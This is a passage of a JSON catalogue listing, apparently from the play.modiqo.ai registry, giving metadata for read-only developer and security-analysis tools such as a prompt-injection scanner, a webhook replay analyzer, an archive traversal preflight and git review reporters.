report.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["security","prompt-injection","html","scanner"],"primary_domain":"domain-uncategorized","author":"shashankinguva","version":"0.1.0","published_at":"2026-09-04T13:07:08.741893+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":8200,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["fetch_pages"]},"parameters":[{"name":"urls","type":"string","required":true,"description":"One or more URLs to scan for hidden/invisible prompt-injection payloads in raw HTML source. Accepts a single URL, a comma- or newline-separated list, or a JSON array string (e.g. [\"https://a.example\",\"https://b.example\"])."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a6a5ecc1fb087174336d5d102047f1f17c6cf2e92de085d24d8e3b8286c88531","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/webhook-replay-boundary@0.1.0","reference":"himanshu-jha/webhook-replay-boundary@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/webhook-replay-boundary@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/webhook-replay-boundary@0.1.0","name":"webhook-replay-boundary","title":"webhook-replay-boundary","description":"Analyzes captured webhook delivery scenarios as a security and correctness boundary. Use it before every handler or provider-integration release and after duplicate-effect or signature incidents. Four sibling probes verify that signatures bind the exact raw body, enforce signature and timestamp freshness, require explicit idempotency keys to be non-empty, stable across redeliveries, and unique across event IDs while covering provider retry horizons, and prove verification/claim/side-effect/ack ordering; a synthesis join exposes replay paths that isolated signature checks miss and orders fixes by severity. It reads JSON only, sends no webhook, executes no handler, writes no idempotency record, and makes no network calls. Run with input=evidence/webhook-scenarios.json or omit input for the bundled demo. Limits: HMAC-SHA256 is the portable modeled scheme, secrets in input should be synthetic or safely exported test material, database isolation and crash behavior are assessed only from declared scenario facts, and live provider behavior is not queried.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-application-security","domain-webhooks","replay-protection","hmac","idempotency","side-effects","event-processing","python"],"primary_domain":"domain-webhooks","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T12:26:49.089837+00:00","visibility":"public","quality_score":1,"size_bytes":11868,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["prove_side_effect_ordering","synthesize_replay_boundary","enforce_signature_time_window","verify_exact_raw_body_binding","audit_idempotency_replay_scope"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative webhook scenario JSON. Omit for the bundled demo; pass input=evidence/payment-webhook-replays.json for fresh captured test scenarios.","example":"evidence/payment-webhook-replays.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:af5c4b9dc100e4b30ae57f39090ab9b7f2037af0535af9536df3c541831181a4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/archive-extraction-ambiguity@0.1.0","reference":"himanshu-jha/archive-extraction-ambiguity@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/archive-extraction-ambiguity@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/archive-extraction-ambiguity@0.1.0","name":"archive-extraction-ambiguity","title":"archive-extraction-ambiguity","description":"Preflights an archive manifest before extraction by modeling the destination as a virtual namespace. Use it for every uploaded or third-party release archive before extraction, and again when extraction policy changes. Four independent probes detect traversal and platform aliases, order-sensitive symlink or hardlink write-through, case/Unicode/file-directory collisions, and entry-count/size/ratio expansion hazards; symlink targets are parent-relative while hardlink targets use an explicit coordinate mode that defaults to archive-root-relative. A synthesis step joins them into one severity-prioritized extraction decision. It reads a JSON manifest and never extracts, writes, follows links, or accesses the network. Run with input=path/to/manifest.json, or omit input to use the bundled adversarial demo. Limits: findings depend on the supplied manifest and policy, nested archive contents are not recursively inspected, and filesystem-specific canonicalization is approximated conservatively.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-security-engineers","domain-application-security","archive","path-traversal","supply-chain","python"],"primary_domain":"domain-application-security","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T12:19:39.941147+00:00","visibility":"public","quality_score":1,"size_bytes":11159,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["map_virtual_namespace","enforce_expansion_budget","trace_link_write_through","detect_canonical_collisions","synthesize_extraction_decision"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative JSON archive manifest. Omit it to analyze the bundled demo; pass input=manifests/release-bundle.json for fresh evidence.","example":"manifests/release-bundle.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f4edb0b8c4fe4810d24ae28059d68ed8c954be5e7493b0d6ca5b5cbad65f7bb0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/find-repeated-prompts@0.1.1","reference":"bhanu82/find-repeated-prompts@0.1.1","uri":"https://play.modiqo.ai/bhanu82/find-repeated-prompts@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/find-repeated-prompts@0.1.1","name":"find-repeated-prompts","title":"find-repeated-prompts","description":"Find the questions and instructions you type to your AI agent over and over again. Automatically groups your repeated prompts so you can turn them into fast, reusable 1-click tools. Zero setup, zero API keys, runs completely locally.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-repeated-ask-analysis","audience-developers","transcripts"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-04T12:09:28.582317+00:00","visibility":"public","quality_score":1,"size_bytes":6637,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["analyze_sediment"]},"parameters":[{"name":"since_hours","type":"integer","required":false,"default":"336","description":"Lookback window for local user messages in hours","example":"168"},{"name":"max_sessions","type":"integer","required":false,"default":"200","description":"Maximum transcript files to inspect","example":"50"},{"name":"play_root","type":"string","required":false,"default":"","description":"Absolute repository root whose local Play names are compared; empty skips the catalog check (labeled UNKNOWN). Relative paths are refused.","example":"/home/user/project"},{"name":"out_path","type":"string","required":false,"default":"","description":"Optional explicit JSON report path; no file is written when empty","example":"/tmp/repeated-asks.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3bea5de741f5b96ae3f70c3521f3144d0fc82e447bcecc0561d2be6c0075d04e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mahesh/play-scout@1.0.0","reference":"mahesh/play-scout@1.0.0","uri":"https://play.modiqo.ai/mahesh/play-scout@1.0.0","manifest_uri":"https://play.modiqo.ai/mahesh/play-scout@1.0.0","name":"play-scout","title":"play-scout","description":"Finds repeated tasks worth turning into a reusable play by reading local AI coding agent prompt logs, shell history, and one Git commit log, grouping entries into verb-and-object intents and command shapes, and ranking them by how often they recur and how many projects they span. Emits counts and redacted exemplars only; raw prompts, session identifiers, and absolute paths never leave the machine.","owner":{"kind":"user","slug":"mahesh"},"registry_organization":"mahesh","tags":["typescript","automation","workflow","history","prompt-analysis","shell","git","productivity"],"primary_domain":"domain-uncategorized","author":"Mahesh Moholkar","version":"1.0.0","published_at":"2026-09-04T10:21:59.4485+00:00","visibility":"public","quality_score":1,"size_bytes":19453,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["scan_git","scan_zsh","scan_bash","scan_codex","scan_claude","rank_candidates"]},"parameters":[{"name":"days","type":"integer","required":false,"default":0,"description":"Age limit in days for agent prompt entries, from 0 through 36500; 0 reads the full history and is the default because recurring work often spans many months."},{"name":"min_occurrences","type":"integer","required":false,"default":3,"description":"Minimum times an intent must recur before it is reported, from 1 through 10000."},{"name":"min_projects","type":"integer","required":false,"default":2,"description":"Minimum distinct projects an intent must span before it is reported, from 1 through 1000; applies only to prompt sources that record a working directory, and a warning names any scanned source that does not."},{"name":"top_n","type":"integer","required":false,"default":20,"description":"Maximum rows reported in each of the two tables, from 1 through 500."},{"name":"repo_path","type":"string","required":false,"default":".","description":"Path to one Git repository whose commit subjects are scanned; relative paths use the invoking shell directory and the default is '.'."},{"name":"max_entries","type":"integer","required":false,"default":200000,"description":"Maximum history entries read per source, from 1 through 5000000."},{"name":"as_of_unix","type":"string","required":false,"default":"","description":"Optional Unix timestamp in seconds used as the reference time for the age window and recency weighting; empty uses run start."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7d16fed7419eb59ea9445e8a76a6feb2fb4125ad40f2dc47048ea7ec19c456a5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/readme-contract@1.0.1","reference":"playbookacademy/readme-contract@1.0.1","uri":"https://play.modiqo.ai/playbookacademy/readme-contract@1.0.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/readme-contract@1.0.1","name":"readme-contract","title":"readme-contract","description":"README contract referee. Checks README files against the repository evidence: documented commands, local links, code block formatting, package scripts, version claims, and prerequisite sections. Returns a deterministic verdict (HEALTHY / NEEDS_WORK / INCOMPLETE) with prioritized recommendations. Read-only, no credentials.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":["domain-devtools","job-readme-contract","audience-developers","effect-read-only","multi-step-dag","value-edges"],"primary_domain":"domain-devtools","author":"playbookacademy","version":"1.0.1","published_at":"2026-09-04T10:03:31.643814+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8819,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["check_links","scan_readme","judge_health","check_commands","check_sections","check_code_blocks"]},"parameters":[{"name":"src","type":"string","required":false,"default":".","description":"Path to the project root to scan","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d986a6e4ced9288f17569418eb785289cf6c049853712a42028026cfee1208fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/fc-dev/deploy-lineage@0.1.0","reference":"fc-dev/deploy-lineage@0.1.0","uri":"https://play.modiqo.ai/fc-dev/deploy-lineage@0.1.0","manifest_uri":"https://play.modiqo.ai/fc-dev/deploy-lineage@0.1.0","name":"deploy-lineage","title":"deploy-lineage","description":"Read-only cross-system evidence reconciliation from an exact GitHub commit and successful Actions run through a GHCR image digest to the traffic-bearing Azure Container Apps revision.","owner":{"kind":"user","slug":"fc-dev"},"registry_organization":"fc-dev","tags":["typescript","github","github-actions","ghcr","azure-container-apps","deployment-lineage","read-only"],"primary_domain":"domain-uncategorized","author":"Modiqo Rote Playoffs submission","version":"0.1.0","published_at":"2026-09-04T09:51:00.221072+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10653,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"repository","type":"string","required":true,"description":"GitHub owner/repository, for example octo-org/example"},{"name":"ref","type":"string","required":true,"description":"Commit SHA, branch, or tag to resolve"},{"name":"subscription","type":"string","required":true,"description":"Azure subscription ID"},{"name":"resource_group","type":"string","required":true,"description":"Azure resource group containing the Container App"},{"name":"container_app","type":"string","required":true,"description":"Azure Container App name"},{"name":"registry_image","type":"string","required":true,"description":"GHCR image, for example ghcr.io/owner/app; may include an immutable @sha256 digest or tag"},{"name":"ci_digest","type":"string","required":false,"description":"Optional digest copied from the selected workflow's build/push evidence; required when registry_image is tag-only"},{"name":"workflow","type":"string","required":false,"description":"Optional exact workflow name or workflow file path"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b5e67fbcb9fabf1b9e4cd4051f43ae2448d76271ad918b312c3e13ffd1d96b38","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/adnandev/review-load@0.1.0","reference":"adnandev/review-load@0.1.0","uri":"https://play.modiqo.ai/adnandev/review-load@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/review-load@0.1.0","name":"review-load","title":"review-load","description":"Measures how much you asked a reviewer to hold in their head at once, commit by commit. On the repository this was built on, 52 percent of commits exceeded 400 changed lines and those commits carried 93 percent of every line ever written there; the seven largest alone carried 25,083 of 28,895 lines. Three DAG steps: one reader that walks git history recording added and deleted lines and file counts per commit, one that buckets them into a fixed size distribution and computes median, ninetieth percentile and the share carried by commits over a threshold, and one join that prints the distribution and the largest commits. The 400-line threshold is a parameter, not a law, and the report says so. Size is added plus deleted lines with renames left visible, so a file move reads as large on purpose rather than hiding; binary files count as files and contribute no lines. Big is not treated as bad: a generated file or a formatting pass is legitimately huge, and the output says it measures what a reviewer had to hold, never whether the change was wrong. A path outside a git work tree, a missing git, and a branch with no commits each print a different honest answer instead of a zero. Read-only toward your repository: it checks out nothing, rebases nothing, edits no file, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own review-load.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["git","code-review","pull-requests","team","repository-audit","governance"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T09:43:01.820899+00:00","visibility":"public","quality_score":1,"size_bytes":13456,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["read_diffs","report_load","bucket_sizes"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to analyse. Defaults to the current directory. Must be inside a git work tree; anything else prints INDETERMINATE rather than an empty result."},{"name":"threshold","type":"string","required":false,"default":"400","description":"Changed-line count above which a commit is called large. 400 is roughly where review effectiveness is understood to fall off, but it is a convention rather than a law. Changing it moves the OVER count and the share it carries; it never changes the underlying sizes."},{"name":"max_commits","type":"string","required":false,"default":"0","description":"Cap on how many commits to walk, newest first. 0 means the whole branch. A cap changes coverage, so every total moves with it."},{"name":"top_n","type":"string","required":false,"default":"10","description":"How many of the largest commits to list. Never changes a count, only how much is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings lists the largest commits. all lists every commit. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c3aa31831d8e0bba10884494a0ec60dcdea11dfc85561eec341ee59547aa8c5b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/merge-lineage@0.1.0","reference":"adnandev/merge-lineage@0.1.0","uri":"https://play.modiqo.ai/adnandev/merge-lineage@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/merge-lineage@0.1.0","name":"merge-lineage","title":"merge-lineage","description":"Classifies how every commit on your current branch actually landed: through a pull request, or straight in. On the repository this was built on, 18 of 19 commits arrived through a PR and every one of those 18 was landed by the person who wrote it, so nobody else ever pressed merge. Three DAG steps: one reader that walks the branch recording author, committer, parents and subject for each commit, one that classifies each landing as a squash-merged PR, a merge-commit PR, a local merge or a direct commit and marks whether the author also landed it, and one join that ranks direct commits newest-first and lists the pull requests their own author merged. Review is inferred from the commit graph alone and never from a forge API, so DIRECT is an upper bound and VIA A PR is a floor, and the report says so. Self- landed is reported as a fact about who pressed merge, never as a claim that the change went unreviewed. A path outside a git work tree, a missing git, and a branch with no commits each print a different honest answer instead of a zero. Read-only toward your repository: it checks out nothing, rebases nothing, pushes nothing, edits no file, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own merge-lineage.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["git","code-review","governance","pull-requests","team","repository-audit"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T09:18:16.961927+00:00","visibility":"public","quality_score":1,"size_bytes":12642,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["read_commits","report_lineage","classify_landing"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to analyse. Defaults to the current directory. Must be inside a git work tree; anything else prints INDETERMINATE rather than an empty result."},{"name":"max_commits","type":"string","required":false,"default":"0","description":"Cap on how many commits to walk, newest first. 0 means the whole branch. A cap changes coverage, so every count moves with it."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many rows to print per section. Never changes a count, only how much of each list is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the top rows per section. all prints every row. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8c3669c3e917b063e3d20481dd1fd1bb3fba3740f7110d57efb2217d664f698","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/rule-drift@0.1.0","reference":"adnandev/rule-drift@0.1.0","uri":"https://play.modiqo.ai/adnandev/rule-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/rule-drift@0.1.0","name":"rule-drift","title":"rule-drift","description":"Finds every commit that changed the rules your AI agent follows, and reports whether that change was ever reviewable on its own. On the repository this was built on, 8 of 8 rule changes were bundled into a commit that also changed code, the largest touching 50 files at once, so no reviewer ever saw the rule change by itself. Three DAG steps: one reader that finds tracked agent-governing files (CLAUDE.md, AGENTS.md, .cursorrules, copilot- instructions.md, .mdc rules, and anything under .claude, .cursor/rules, .github/instructions, .agents or .codex), one that walks git history for every commit touching them and re-reads each commit's full file list, and one join that splits those commits into bundled versus changed-alone and ranks them by blast radius. Bundling is reported as a review property, never as wrongdoing. A path outside a git work tree prints INDETERMINATE, and a repository with no rule files says so plainly instead of returning a confident zero. Read-only toward your repository: it checks out nothing, reverts nothing, edits no file, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own rule-drift.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["git","agent-ops","code-review","governance","claude-code","instructions"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T09:12:27.837235+00:00","visibility":"public","quality_score":1,"size_bytes":13308,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["trace_commits","report_lineage","find_rule_files"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to analyse. Defaults to the current directory. Must be inside a git work tree; anything else prints INDETERMINATE rather than an empty result."},{"name":"max_commits","type":"string","required":false,"default":"0","description":"Cap on how many rule commits to walk, newest first. 0 means the whole history. Use a cap only on very large repositories; it changes coverage, so the counts move with it."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many rows to print per section. Never changes a count, only how much of each list is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the top rows per section. all prints every bundled commit. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c8b0c00aaf211ed8d81f7abd6311e5180a3a3a2c6c9c393829a5dc5413293ffb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/backup-restore-proof-gap@0.1.0","reference":"himanshu-jha/backup-restore-proof-gap@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/backup-restore-proof-gap@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/backup-restore-proof-gap@0.1.0","name":"backup-restore-proof-gap","title":"backup-restore-proof-gap","description":"Separates the existence of backups from evidence that a service can actually be recovered. Four independent probes build an asset-by-asset matrix for policy and successful snapshot coverage, point-in-time RPO exposure, offsite/immutability/delete-principal controls, and recent passed restore tests including required evidence and dependency assets; failed, incomplete, or future-dated evidence never establishes recovery. The join treats an untested dependency chain as a proof gap rather than a successful backup. It is read-only and consumes an offline evidence manifest. It never contacts storage, decrypts data, or performs a restore, so a passing row is bounded to the recorded test scope and age rather than a promise about the next incident.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-reliability-engineers","domain-disaster-recovery","backup","restore-testing","rpo","evidence-matrix"],"primary_domain":"domain-disaster-recovery","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T09:06:02.405979+00:00","visibility":"public","quality_score":1,"size_bytes":9173,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["map_backup_coverage","calculate_rpo_exposure","assess_recoverability_proof","assess_immutability_controls","verify_restore_evidence_chain"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON inventory of assets, policies, snapshots with explicit status, dependencies, and restore tests. Empty uses the packaged demo; missing or malformed custom input is fatal.","example":"./recovery-evidence.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9f15fef3fc6d7205ea49edcb3716b1b9ebdca446e039b9742d8dc7dfc4ea96ae","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/experiment-inference-sanity@0.1.0","reference":"himanshu-jha/experiment-inference-sanity@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/experiment-inference-sanity@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/experiment-inference-sanity@0.1.0","name":"experiment-inference-sanity","title":"experiment-inference-sanity","description":"Runs a repeatable pre-decision gate over a binary two-arm experiment: sample-ratio mismatch, absolute effect with confidence interval, power against the prespecified MDE, and sequential-look plus family-wise multiple-testing claims. Four independent statistical probes feed a join that blocks a launch claim when assignment integrity or adjusted significance fails, while distinguishing underpowered or direction-uncertain evidence as review work. It is deterministic, offline, and read-only. Calculations use transparent large-sample normal approximations and diagnostic O’Brien-Fleming/Bonferroni/Holm checks; they do not replace a prespecified design, variance-reduction model, clustered analysis, or domain decision cost.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-data-scientists","domain-experimentation","ab-testing","sample-ratio-mismatch","statistical-power","sequential-testing"],"primary_domain":"domain-experimentation","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T09:01:14.912847+00:00","visibility":"public","quality_score":1,"size_bytes":9102,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["test_sample_ratio","evaluate_power_plan","assess_inference_sanity","estimate_effect_interval","audit_sequential_and_multiple_testing"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON with planned allocation, binary arm counts, alpha, MDE, desired power, sequential looks, and metric p-values. Empty uses the packaged cautionary 